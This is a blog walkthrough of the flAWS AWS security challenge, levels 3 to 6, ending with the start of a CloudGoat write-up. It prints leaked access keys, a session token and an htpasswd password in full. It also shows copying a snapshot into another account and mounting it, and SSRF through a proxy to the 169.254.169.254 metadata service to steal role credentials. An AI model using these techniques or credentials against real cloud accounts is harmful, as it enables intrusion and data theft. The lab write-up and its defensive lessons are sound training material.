$ /tmp mkdir lvl3 && cd lvl3
$ lvl3 aws s3 cp --recursive s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ .    
download: ...
lvl3 git:(master) $

That did work.
Now we can take a look into the git history and again, see what we found:

$ git show

commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn't have

diff --git a/access_keys.txt b/access_keys.txt
deleted file mode 100644
index e3ae6dd..0000000
--- a/access_keys.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-access_key AKIAJ366LIPB4IJKT7SA
-secret_access_key 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

Uuuh seems like Scott "accidently" pushed access keys into the repository.
This sounds familiar 😆

Let's grab those and create our flaws profile with those keys:

$ aws configure --profile flaws
AWS Access Key ID [None]: AKIAJ366LIPB4IJKT7SA
AWS Secret Access Key [None]: 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
Default region name [None]:
Default output format [None]:

With that setup, let's call the whoami from AWS:

$ aws sts get-caller-identity --profile flaws
{
  "UserId": "AIDAJQ3H5DC3LEG2BKSLC",
  "Account": "975426262029",
  "Arn": "arn:aws:iam::975426262029:user/backup"
}

That looks promising.
Now I would like to know what other buckets we might have here:

$ aws s3api list-buckets --profile flaws
{
  "Buckets": [
    {
      "Name": "2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud",
      "CreationDate": "2017-02-12T21:31:07+00:00"
    },
    {
      "Name": "config-bucket-975426262029",
      "CreationDate": "2017-05-29T16:34:53+00:00"
    },
    {
      "Name": "flaws-logs",
      "CreationDate": "2017-02-12T20:03:24+00:00"
    },
    {
      "Name": "flaws.cloud",
      "CreationDate": "2017-02-05T03:40:07+00:00"
    },
    {
      "Name": "level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud",
      "CreationDate": "2017-02-24T01:54:13+00:00"
    },
    {
      "Name": "level3-9afd3927f195e10225021a578e6f78df.flaws.cloud",
      "CreationDate": "2017-02-26T18:15:44+00:00"
    },
    {
      "Name": "level4-1156739cfb264ced6de514971a4bef68.flaws.cloud",
      "CreationDate": "2017-02-26T18:16:06+00:00"
    },
    {
      "Name": "level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud",
      "CreationDate": "2017-02-26T19:44:51+00:00"
    },
    {
      "Name": "level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud",
      "CreationDate": "2017-02-26T19:47:58+00:00"
    },
    {
      "Name": "theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud",
      "CreationDate": "2017-02-26T20:06:32+00:00"
    }
  ],
  "Owner": {
    "DisplayName": "0xdabbad00",
    "ID": "d70419f1cb589d826b5c2b8492082d193bca52b1e6a81082c36c993f367a5d73"
  }
}

Look at that. We have all the buckets in that account. Even theend bucket. Shall, we take a peek?

Damnit, Scott knew beforehand that this might happen. What about Level 4?

*Hacker Voice*.

Lessons learned - Level 3

You can read what Scott has to say about this in the picture.
I would even go one step further and avoid using access keys altogether.
For more details about this topic you can read about exposing access keys in my blog post

Level 4 - 📸

For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud

It'll be useful to know that a snapshot was made of that EC2 shortly after Nginx was set up on it.

Let's take a look at what we are dealing with here.

Well, it is protected via Basic Authentication.
We need more information to get around this.

So, we know that is running on an EC2 instance, but what can we do with this information?
Let's just take a look around, at what else we can see with the access keys from Level 3.

$ aws s3api list-objects-v2 --bucket level4-1156739cfb264ced6de514971a4bef68.flaws.cloud --profile flaws                 

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

That sucks, maybe bucket 5?

aws s3api list-objects-v2 --bucket level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud --profile flaws

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

Same thing. So, we need to look somewhere else. Since Scott is talking about a snapshot, we might get something out of it:

$ aws ec2 describe-snapshots --profile flaws

You must specify a region. You can also configure your region by running "aws configure".

Hmm... we need a region. Did we encounter a region before? Yes, we did:

$ nslookup 52.218.128.7
Server: 192.168.178.28
Address:  192.168.178.28#53

Non-authoritative answer:
7.128.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.

Authoritative answers can be found from:

So, us-west-2 might be our region:

$ aws ec2 describe-snapshots --region us-west-2 --profile flaws

<very long list>

Running this command gives us a gazillion snapshots from a bunch of different owners.
Seems like we are not the first ones.
Maybe we can filter the list for the correct owner.
For this, we need the correct account ID.
Luckily, we already have the ID with sts:

$ aws sts get-caller-identity --profile flaws

{
  "UserId": "AIDAJQ3H5DC3LEG2BKSLC",
  "Account": "975426262029",
  "Arn": "arn:aws:iam::975426262029:user/backup"
}

With that account ID, time to filter out the rest:

$ aws ec2 describe-snapshots --region us-west-2 --profile flaws --filters Name=owner-id,Values=975426262029

{
  "Snapshots": [
    {
      "Description": "",
      "Encrypted": false,
      "OwnerId": "975426262029",
      "Progress": "100%",
      "SnapshotId": "snap-0b49342abd1bdcb89",
      "StartTime": "2017-02-28T01:35:12+00:00",
      "State": "completed",
      "VolumeId": "vol-04f1c039bc13ea950",
      "VolumeSize": 8,
      "Tags": [
        {
          "Key": "Name",
          "Value": "flaws backup 2017.02.27"
        }
      ],
      "StorageTier": "standard"
    }
  ]
}

We found the snapshot. The big question is:

Well, with a Snapshot, we - maybe - can create a volume.
With a volume, we can attach it to an EC2 instance.
With an attached volume to an EC2 instance, we can look inside the volume.
With the look inside of the volume, we get profit.
What are we waiting for?!

Note: There is no profile here, since we want to create the volume in an account we have full control of.

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id  snap-0b49342abd1bdcb89

{
    "AvailabilityZone": "us-west-2a",
    "CreateTime": "2023-08-30T13:30:11+00:00",
    "Encrypted": false,
    "Size": 8,
    "SnapshotId": "snap-0b49342abd1bdcb89",
    "State": "creating",
    "VolumeId": "vol-0f3812f56573d575f",
    "Iops": 100,
    "Tags": [],
    "VolumeType": "gp2",
    "MultiAttachEnabled": false
}

Seems like something happened. Let's confirm this in the console.
Switch to Oregon (us-west-2) and check the volumes:

Bingo! We’ve got our Volume. Shall we take a look inside? Of course! (Even though our security-concerned parents told us to never run volumes with unknown content, what’s supposed to happen 😇)

Simply create an EC2 instance with all default parameters and without a key pair. Now, it is time to attach the Volume to it:

And now pick the new EC2 instance:

Now it is time to take a look inside. Time to connect to the EC2 instance:

Now that we are connected, let's mount the volume and see what we've got:

$ lsblk

NAME      MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
xvda      202:0    0   8G  0 disk
├─xvda1   202:1    0   8G  0 part /
├─xvda127 259:0    0   1M  0 part
└─xvda128 259:1    0  10M  0 part
xvdf      202:80   0   8G  0 disk
└─xvdf1   202:81   0   8G  0 part

Okay, so the volume is there.
Remember it was under /dev/sdf, so xdf1 is our volume here.

Now the mount process:

[ec2-user@ip-172-31-16-189 ~]$ lsblk
NAME      MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
xvda      202:0    0   8G  0 disk
├─xvda1   202:1    0   8G  0 part /
├─xvda127 259:0    0   1M  0 part
└─xvda128 259:1    0  10M  0 part
xvdf      202:80   0   8G  0 disk
└─xvdf1   202:81   0   8G  0 part
[ec2-user@ip-172-31-16-189 ~]$ sudo mkdir /data
[ec2-user@ip-172-31-16-189 ~]$ sudo mount /dev/xvdf1 /data

You could also mount it to /mnt, if you'd like to.
Anyway, let's now take a look inside:

$ ls /data/
bin  boot  dev  etc  home  initrd.img  initrd.img.old  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old

Now back into the attacker mode.
For an attacker, there are a couple of very interesting directories:

• /home
• /etc
• /var

Since we know that there is a website hosted on the EC2 instance, we can check if the website is inside /var/www/html:

[ec2-user@ip-172-31-16-189 ~]$ cd /data/var/www/html/
[ec2-user@ip-172-31-16-189 html]$ ls
index.html  robots.txt

Looking good, let's reveal the content of index.html

[ec2-user@ip-172-31-16-189 html]$ cat index.html
<html>
    <head>
        <title>flAWS</title>
        <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">
        <style>
            body { font-family: Andale Mono, monospace; }
        </style>
    </head>
<body
  text="#00d000"
  bgcolor="#000000" 
  style="max-width:800px; margin-left:auto ;margin-right:auto"
  vlink="#00ff00" link="#00ff00">
<center>
<pre>
 _____  _       ____  __    __  _____
|     || |     /    ||  |__|  |/ ___/
|   __|| |    |  o  ||  |  |  (   \_
|  |_  | |___ |     ||  |  |  |\__  |
|   _] |     ||  _  ||  `  '  |/  \ |
|  |   |     ||  |  | \      / \    |
|__|   |_____||__|__|  \_/\_/   \___|
</pre>
<h1>flAWS - Level 5</h1>
</center>


Good work getting in.  This level is described at <a href="http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/">http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/</a>

We found the access to Level 5!
But what about the password for the Basic Authentication?
Let's check the home folder:

[ec2-user@ip-172-31-16-189 data]$ ls /data/home
ubuntu
[ec2-user@ip-172-31-16-189 data]$ ls /data/home/ubuntu/
meta-data  setupNginx.sh
[ec2-user@ip-172-31-16-189 data]$

A setup script, what might be in there?

[ec2-user@ip-172-31-16-189 data]$ cat /data/home/ubuntu/setupNginx.sh
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

How convenient, the password!

And now we are presented with the correct page:

Lessons learned - Level 4

AWS allows you to make snapshots of EC2s and databases (RDS). The main purpose for that is to make backups, but people sometimes use snapshots to get access back to their own EC2's when they forget the passwords. This also allows attackers to get access to things. Snapshots are normally restricted to your own account, so a possible attack would be an attacker getting access to an AWS key that allows them to start/stop and do other things with EC2's and then uses that to snapshot an EC2 and spin up an EC2 with that volume in your environment to get access to it. Like all backups, you need to be cautious about protecting them.

In short, make sure, only the right people have access to any of your backups or data in general.

Cleanup

⚠️ Remember to terminate the EC2 instance and the created volume!

Level 5 - your metadata is now my metadata

This EC2 has a simple HTTP only proxy on it. Here are some examples of it's usage:

• http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/flaws.cloud/
• http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml
• http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/neverssl.com/

See if you can use this proxy to figure out how to list the contents of the level6 bucket at level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud that has a hidden directory in it.

Time to deal with proxies it seems.
What have we got on the first link:

Alright, that is just Level 1 again. Second link:

I'm not going to bother trying the third link, you should get the concept.
Now the question is, how we can abuse that proxy to list the content of the level 6 bucket?

To be able to use the proxy we need to structure the URL as follows:

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/<url>/

But what can we do with that?
Maybe just list the content through the proxy?

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud.s3.amazonaws.com/

Well, since it is a proxy, it has to use some sort of computing behind the scenes.
With that, we can maybe get some information from the Instance metadata service.

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/

Seems we've got access to some metadata from the EC2 and when an attacker can get access to this data, the very first request will always be:

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/

Now, let’s grab the keys and gain access to another profile:

$ aws configure --profile proxy  

AWS Access Key ID [None]: ASIA6GG7PSQGZWMYNUOJ
AWS Secret Access Key [None]: ST8rKB/WIiHvVEngtwrEBYxrQlzTOUgO5lAp45M9
Default region name [None]: us-west-2
Default output format [None]:

And now set the token:

$ aws configure --profile proxy set aws_session_token "IQoJb3JpZ2luX2VjEPf//////////wEaCXVzLXdlc3QtMiJHMEUCIQCpvZWxssikiM+9Oj7OGaFdoxHTfJMfG5t1bzrkHYwFZAIgO0Jk07M86ntqb1A/2oJSMPWCFDC1KYl2w4bhKBWZsd0quwUIwP//////////ARAEGgw5NzU0MjYyNjIwMjkiDNKLWXhncfeWhgrbTSqPBe1SBYJxUAqsZYIhUXP0aLEO/GEzWZdfcbpcwbfWhBpI1/tbwQD/Mg2hR9ELEwV1QlQk27ljO+kIg2+aeEUZHBOAg4f/guLk/7HeUIcmcG4xbeT4oZnToTp+eH9QtHAVDLzCqvQQoPD9yFFUmTXpaggGWsxprRYCU3XLyDwH5lSQHjOfTGUK9ibrLGGSnpx8p2wu1+vdLOxGb3a43i/q6ojTsKUJ3GoowVFU4TsKh6a5dQZqEzNeR0mY7NG3VcGV9n6iO3MyNb9FyagHDU1ZRydjfcHHWx/994focc0eXusVDEStTVf5+AnMG+u8fqzV7aDmBtwg5580lnLuM1QZzoCAHXaz5VCJ7jyLlBM9RFFv3J/18mN/QeeIATPX8siOrIapC/ZaGGGNLcbVSXWYbvbTSPg5N+gvuQPTOnu/sGPQlR0Zzm7z+uJldeCOx9BuqYYwZriny9uVg0j9kLAupXthM1O6sXRMNx5KAD3ZVvC3vIC8rjr6TbqKKwSOsTAnxF3dysVF0TYShJEBcSfsAcbgsAXsRUze/Rti57J8H2CPdXZP1dY1X1bBNXtpbZeD6X1Fnlk6kaECC0K0xEwRvs0zp4NqOovv04yVyDFtVGhNpfWT8RLRid7FySOBuR8qG2Gw2SUMJsobAc6MoDjdyMwsfsr9mOrtWzF4jiDka0CmGtyEzerPJXd6SPL1yWtNSNP2Zo/S4XMyDcQjrJzHjcWkZA+NlzL71s0Jyft2qPc9xKhSwTHeEJP5tKgQxJKjomnJZs3Ogg4KAzXltvjcpcpKB0hzzEzc7/uDUhYAsg3AsFT0C6V18MQvvzFtfPllLVrJcyPgwKUctMsQARlJuej88Woz0FFOqqoq2B3o8MYw4KS9pwY6sQEtiA8MXoffgQ9FUR26Nup3W+ZhEDgE91SxQGCrnpo42aIrMIJzQKHQn5kXShckSAUGr7hPBb910i2nmHUK7JTvkgV7h1nz/VE5PVW339VBziO/Dey6TzZgopemWELDbNIy7pnnQSm58XyAXswIzGn3QMooNd6W+HQvGdI8hgJXVduBNxuV5uKBX6a/wm0BhrWabpPrtrQogR85QomCb0lpNXY+7lz9V9/HwOPXOJvi6vc="
# no output

Time to see if we have access to the bucket:

$ aws s3api list-objects-v2 --bucket level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud --profile proxy

{
  "Contents": [
    {
      "Key": "ddcc78ff/hint1.html",
      "LastModified": "2017-03-03T04:36:23+00:00",
      "ETag": "\"9d5aa0c151e681b76f21d47d4b295f9e\"",
      "Size": 2463,
      "StorageClass": "STANDARD"
    },
    {
      "Key": "ddcc78ff/hint2.html",
      "LastModified": "2017-03-03T04:36:23+00:00",
      "ETag": "\"46852b6abada0f2b57b66f9b4cf1dfbb\"",
      "Size": 2080,
      "StorageClass": "STANDARD"
    },
    {
      "Key": "ddcc78ff/index.html",
      "LastModified": "2020-05-22T18:42:20+00:00",
      "ETag": "\"ae66f2837680f5688b92d8eb3c4b24fa\"",
      "Size": 2924,
      "StorageClass": "STANDARD"
    },
    {
      "Key": "index.html",
      "LastModified": "2017-02-27T02:11:07+00:00",
      "ETag": "\"6b0ffa72702b171487f97e8f443599ee\"",
      "Size": 871,
      "StorageClass": "STANDARD"
    }
  ],
  "RequestCharged": null
}

That was easier than I thought. Let's visit the secret index.html at ddcc78ff/index.html:

Welcome to level 6, I guess.

Lesson learned - Level 5

The IP address 169.254.169.254 is a magic IP in the cloud world. AWS, Azure, Google, DigitalOcean and others use this to allow cloud resources to find out metadata about themselves. Some, such as Google, have additional constraints on the requests, such as requiring it to use Metadata-Flavor: Google as an HTTP header and refusing requests with an X-Forwarded-For header. AWS has recently created a new IMDSv2 that requires special headers, a challenge and response, and other protections, but many AWS accounts may not have enforced it. If you can make any sort of HTTP request from an EC2 to that IP, you'll likely get back information the owner would prefer you not see.

Examples of this problem

• Nicolas Grégoire discovered that prezi allowed you point their servers at a URL to include as content in a slide, and this allowed you to point to 169.254.169.254 which provided the access key for the EC2 intance profile (link). He also found issues with access to that magic IP with Phabricator and Coinbase.

A similar problem to getting access to the IAM profile's access keys is access to the EC2's user-data, which people sometimes use to pass secrets to the EC2 such as API keys or credentials.

Avoiding this mistake
Ensure your applications do not allow access to 169.254.169.254 or any local and private IP ranges. Additionally, ensure that IAM roles are restricted as much as possible.

In short: Do not expose the Instance metadata service to the end-user. You can read more about this here: https://docs.aws.amazon.com/whitepapers/latest/security-practices-multi-tenant-saas-applications-eks/restrict-the-use-of-host-networking-and-block-access-to-instance-metadata-service.html

Or if you can, block it with a firewall rule:

iptables -A OUTPUT -m owner ! --uid-owner root -d 169.254.169.254 -j DROP

or if want to know more about the general problem of server side request forgery you can check the OWAS website.

Level 6 - Through the gates

For this final challenge, you're getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account.

Access key ID: AKIAJFQ6E7BY57Q3OBGA
Secret: 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

Alright, access keys, let's create a profile with it:

aws configure --profile lvl6
AWS Access Key ID [None]: AKIAJFQ6E7BY57Q3OBGA
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Default output format [None]:

Now let's see how we are:

$ aws sts get-caller-identity --profile lvl6
{
  "UserId": "AIDAIRMDOSCWGLCDWOG6A",
  "Account": "975426262029",
  "Arn": "arn:aws:iam::975426262029:user/Level6"
}

So, with an audit account, you usually only have read access.
Maybe we can get a better understanding of what we can do if we check our policy:

$ aws iam list-attached-user-policies --user-name Level6 --profile lvl6
{
  "AttachedPolicies": [
    {
      "PolicyName": "MySecurityAudit",
      "PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit"
    },
    {
      "PolicyName": "list_apigateways",
      "PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
    }
  ]
}

list_apigateways seems a little bit off the place here. What can we do with that?

$ aws iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --profile lvl6

{
  "Policy": {
    "PolicyName": "list_apigateways",
    "PolicyId": "ANPAIRLWTQMGKCSPGTAIO",
    "Arn": "arn:aws:iam::975426262029:policy/list_apigateways",
    "Path": "/",
    "DefaultVersionId": "v4",
    "AttachmentCount": 1,
    "PermissionsBoundaryUsageCount": 0,
    "IsAttachable": true,
    "Description": "List apigateways",
    "CreateDate": "2017-02-20T01:45:17+00:00",
    "UpdateDate": "2017-02-20T01:48:17+00:00",
    "Tags": []
  }
}

Let's look inside the policy now:

aws iam get-user-policy --user-name Level6 --policy-name list_apigateways --profile lvl6

An error occurred (NoSuchEntity) when calling the GetUserPolicy operation: The user policy with name list_apigateways cannot be found.

That is weird. Let's try a different command:

aws iam get-policy-version --version-id v4 --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --profile lvl6

{
  "PolicyVersion": {
    "Document": {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Action": [
            "apigateway:GET"
          ],
          "Effect": "Allow",
          "Resource": "arn:aws:apigateway:us-west-2::/restapis/*"
        }
      ]
    },
    "VersionId": "v4",
    "IsDefaultVersion": true,
    "CreateDate": "2017-02-20T01:48:17+00:00"
  }
}

Alright, that looks better. Seems like we are allowed to send GET requests to any RESTApi. Interesting. Can we maybe see what APIs are created?

aws iam get-policy --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit --profile lvl6
{
  "Policy": {
    "PolicyName": "MySecurityAudit",
    "PolicyId": "ANPAJCK5AS3ZZEILYYVC6",
    "Arn": "arn:aws:iam::975426262029:policy/MySecurityAudit",
    "Path": "/",
    "DefaultVersionId": "v1",
    "AttachmentCount": 1,
    "PermissionsBoundaryUsageCount": 0,
    "IsAttachable": true,
    "Description": "Most of the security audit capabilities",
    "CreateDate": "2019-03-03T16:42:45+00:00",
    "UpdateDate": "2019-03-03T16:42:45+00:00",
    "Tags": []
  }
}

$ aws iam get-policy-version --version-id v1 --policy-arn arn:aws:iam::975426262029:policy/MySecurityAudit --profile lvl6

{
  "PolicyVersion": {
    "Document": {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Action": [
            "acm:Describe*",
            "acm:List*",
            "application-autoscaling:Describe*",
            "athena:List*",
            "autoscaling:Describe*",
            "batch:DescribeComputeEnvironments",
            "batch:DescribeJobDefinitions",
            "clouddirectory:ListDirectories",
            "cloudformation:DescribeStack*",
            "cloudformation:GetTemplate",
            "cloudformation:ListStack*",
            "cloudformation:GetStackPolicy",
            "cloudfront:Get*",
            "cloudfront:List*",
            "cloudhsm:ListHapgs",
            "cloudhsm:ListHsms",
            "cloudhsm:ListLunaClients",
            "cloudsearch:DescribeDomains",
            "cloudsearch:DescribeServiceAccessPolicies",
            "cloudtrail:DescribeTrails",
            "cloudtrail:GetEventSelectors",
            "cloudtrail:GetTrailStatus",
            "cloudtrail:ListTags",
            "cloudwatch:Describe*",
            "codebuild:ListProjects",
            "codedeploy:Batch*",
            "codedeploy:Get*",
            "codedeploy:List*",
            "codepipeline:ListPipelines",
            "codestar:Describe*",
            "codestar:List*",
            "cognito-identity:ListIdentityPools",
            "cognito-idp:ListUserPools",
            "cognito-sync:Describe*",
            "cognito-sync:List*",
            "datasync:Describe*",
            "datasync:List*",
            "dax:Describe*",
            "dax:ListTags",
            "directconnect:Describe*",
            "dms:Describe*",
            "dms:ListTagsForResource",
            "ds:DescribeDirectories",
            "dynamodb:DescribeContinuousBackups",
            "dynamodb:DescribeGlobalTable",
            "dynamodb:DescribeTable",
            "dynamodb:DescribeTimeToLive",
            "dynamodb:ListBackups",
            "dynamodb:ListGlobalTables",
            "dynamodb:ListStreams",
            "dynamodb:ListTables",
            "ec2:Describe*",
            "ecr:DescribeRepositories",
            "ecr:GetRepositoryPolicy",
            "ecs:Describe*",
            "ecs:List*",
            "eks:DescribeCluster",
            "eks:ListClusters",
            "elasticache:Describe*",
            "elasticbeanstalk:Describe*",
            "elasticfilesystem:DescribeFileSystems",
            "elasticloadbalancing:Describe*",
            "elasticmapreduce:Describe*",
            "elasticmapreduce:ListClusters",
            "elasticmapreduce:ListInstances",
            "es:Describe*",
            "es:ListDomainNames",
            "events:DescribeEventBus",
            "events:ListRules",
            "firehose:Describe*",
            "firehose:List*",
            "fsx:Describe*",
            "fsx:List*",
            "gamelift:ListBuilds",
            "gamelift:ListFleets",
            "glacier:DescribeVault",
            "glacier:GetVaultAccessPolicy",
            "glacier:ListVaults",
            "globalaccelerator:Describe*",
            "globalaccelerator:List*",
            "greengrass:List*",
            "guardduty:Get*",
            "guardduty:List*",
            "iam:GenerateCredentialReport",
            "iam:Get*",
            "iam:List*",
            "iam:SimulateCustomPolicy",
            "iam:SimulatePrincipalPolicy",
            "iot:Describe*",
            "iot:List*",
            "kinesis:DescribeStream",
            "kinesis:ListStreams",
            "kinesis:ListTagsForStream",
            "kinesisanalytics:ListApplications",
            "kms:Describe*",
            "kms:List*",
            "lambda:GetAccountSettings",
            "lambda:GetPolicy",
            "lambda:List*",
            "license-manager:List*",
            "logs:Describe*",
            "logs:ListTagsLogGroup",
            "machinelearning:DescribeMLModels",
            "mediaconnect:Describe*",
            "mediaconnect:List*",
            "mediastore:GetContainerPolicy",
            "mediastore:ListContainers",
            "opsworks-cm:DescribeServers",
            "organizations:List*",
            "quicksight:Describe*",
            "quicksight:List*",
            "ram:List*",
            "rds:Describe*",
            "rds:DownloadDBLogFilePortion",
            "rds:ListTagsForResource",
            "redshift:Describe*",
            "rekognition:Describe*",
            "rekognition:List*",
            "robomaker:Describe*",
            "robomaker:List*",
            "route53:Get*",
            "route53:List*",
            "route53domains:GetDomainDetail",
            "route53domains:GetOperationDetail",
            "route53domains:ListDomains",
            "route53domains:ListOperations",
            "route53domains:ListTagsForDomain",
            "route53resolver:List*",
            "s3:ListAllMyBuckets",
            "sagemaker:Describe*",
            "sagemaker:List*",
            "sdb:DomainMetadata",
            "sdb:ListDomains",
            "securityhub:Get*",
            "securityhub:List*",
            "serverlessrepo:GetApplicationPolicy",
            "serverlessrepo:List*",
            "sqs:GetQueueAttributes",
            "sqs:ListQueues",
            "ssm:Describe*",
            "ssm:ListDocuments",
            "storagegateway:List*",
            "tag:GetResources",
            "tag:GetTagKeys",
            "transfer:Describe*",
            "transfer:List*",
            "translate:List*",
            "trustedadvisor:Describe*",
            "waf:ListWebACLs",
            "waf-regional:ListWebACLs",
            "workspaces:Describe*"
          ],
          "Resource": "*",
          "Effect": "Allow"
        }
      ]
    },
    "VersionId": "v1",
    "IsDefaultVersion": true,
    "CreateDate": "2019-03-03T16:42:45+00:00"
  }
}

That policy does not allow us to list API gateways.
That is not good.
What is good though is, that we know that behind an API gateway there's got to be something, we just need to figure out what it is.
Most of the time it is a lambda, because the Zoomers like serverless, I guess.
Luckily, this policy allows us to use some operations on lambda:

"lambda:GetAccountSettings",
"lambda:GetPolicy",
"lambda:List*",

Let's have a look:

$ aws lambda list-functions --profile lvl6

{
  "Functions": [
    {
      "FunctionName": "Level6",
      "FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
      "Runtime": "python2.7",
      "Role": "arn:aws:iam::975426262029:role/service-role/Level6",
      "Handler": "lambda_function.lambda_handler",
      "CodeSize": 282,
      "Description": "A starter AWS Lambda function.",
      "Timeout": 3,
      "MemorySize": 128,
      "LastModified": "2017-02-27T00:24:36.054+0000",
      "CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=",
      "Version": "$LATEST",
      "TracingConfig": {
        "Mode": "PassThrough"
      },
      "RevisionId": "d45cc6d9-f172-4634-8d19-39a20951d979",
      "PackageType": "Zip",
      "Architectures": [
        "x86_64"
      ],
      "EphemeralStorage": {
        "Size": 512
      },
      "SnapStart": {
        "ApplyOn": "None",
        "OptimizationStatus": "Off"
      }
    }
  ]
}

We do have a lambda function, that looks like something we might want to dig into more deeply. Since we can also get the policy of any lambda, we can grab that info as well:

$ aws lambda get-policy --function-name Level6 --profile lvl6

{
  "Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"904610a93f593b76ad66ed6ed82c0a8b\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"apigateway.amazonaws.com\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:975426262029:function:Level6\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\"}}}]}",
  "RevisionId": "d45cc6d9-f172-4634-8d19-39a20951d979"
}

A little bit ugly to read, but as we can see, we've got info about an API gateway: arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\

So far so, good.
We are still missing one key ingredient here, the stage variable to make a call.
Since we are allowed to make get requests, let's give it a try:

$ aws apigateway get-stages --rest-api-id s33ppypa75 --profile lvl6
{
  "item": [
    {
      "deploymentId": "8gppiv",
      "stageName": "Prod",
      "cacheClusterEnabled": false,
      "cacheClusterStatus": "NOT_AVAILABLE",
      "methodSettings": {},
      "tracingEnabled": false,
      "createdDate": "2017-02-27T01:26:08+01:00",
      "lastUpdatedDate": "2017-02-27T01:26:08+01:00"
    }
  ]
}

Lucky us. Now it is time to give it a curl:

curl https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6              
"Go to http://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/"% 

You’ve heard the computer overlords, go to The End!

Conclusion

Throughout the series of challenges in flAWS, we learned about some of the common security pitfalls that users face when utilizing Amazon Web Services (AWS).
These vulnerabilities range from incorrect bucket permissions settings, exposing AWS access keys, misconfigurations of cloud instances, to opening permissions to Everyone or Any Authenticated AWS User.

flAWS is not only a gripping cloud-centric cybersecurity game but also an excellent educational tool, using hands-on exercises to showcase how AWS-specific vulnerabilities can be exploited.
The challenges unravel real-world scenarios, driving home the importance of maintaining strict security policies, implementing the principle of least privilege, and ensuring regular audits of security access and policies.

As much as flAWS is a measure of one’s AWS-specific security knowledge, it also serves as a stark reminder to businesses and developers of the criticality of cloud security.
With cloud technologies like AWS being integral components of today’s digital infrastructure, understanding their potential vulnerabilities is crucial in preventing data breaches and cyber-attacks.

Following the practices recommended in AWS documentation, avoiding wildcard policies, keeping AWS SDKs updated, and regularly testing applications for security weaknesses are some ways to safeguard against these common vulnerabilities.

Successful completion of the levels in the flAWS game is an indication of a user’s proficiency in diagnosing and mitigating common cloud risks.
At the same time, the game underlines the fact that ensuring cloud security is an ongoing process, requiring constant vigilance, regular updates and audits, and in-depth knowledge of the cloud services in use.

Remember, the security of your data in the cloud is a shared responsibility - while AWS secures the underlying infrastructure, it's up to us to safeguard the data in the cloud.

Stay safe in the cloudy clouds.

CloudGoat will deploy intentionally vulnerable cloud environments. Yes, intentionally vulnerable! So when you use it yourself, make sure to use a dedicated AWS account! Pacu will be my partner in crime here. Pacu is a powerhouse for pentest AWS environments. I’m going to use it to capture the flag, but this does not end there! Oh no no no! We want to learn about both sides. I will not only exploit weaknesses but also see how I can fix them.

$ ./cloudgoat.py create vulnerable_lambda 
... 
 
Apply complete! Resources: 8 added, 0 changed, 0 destroyed. 
 
Outputs: 
 
cloudgoat_output_aws_account_id = "<account_id>" 
cloudgoat_output_bilbo_access_key_id = "AKIAZQ3DQJ3M34LJ5K7U" 
cloudgoat_output_bilbo_secret_key = <sensitive> 
profile = "cloud-goat" 
scenario_cg_id = "vulnerable_lambda_cgidsr4kzoh3iq" 
 
[cloudgoat] terraform apply completed with no error code. 
 
[cloudgoat] terraform output completed with no error code. 
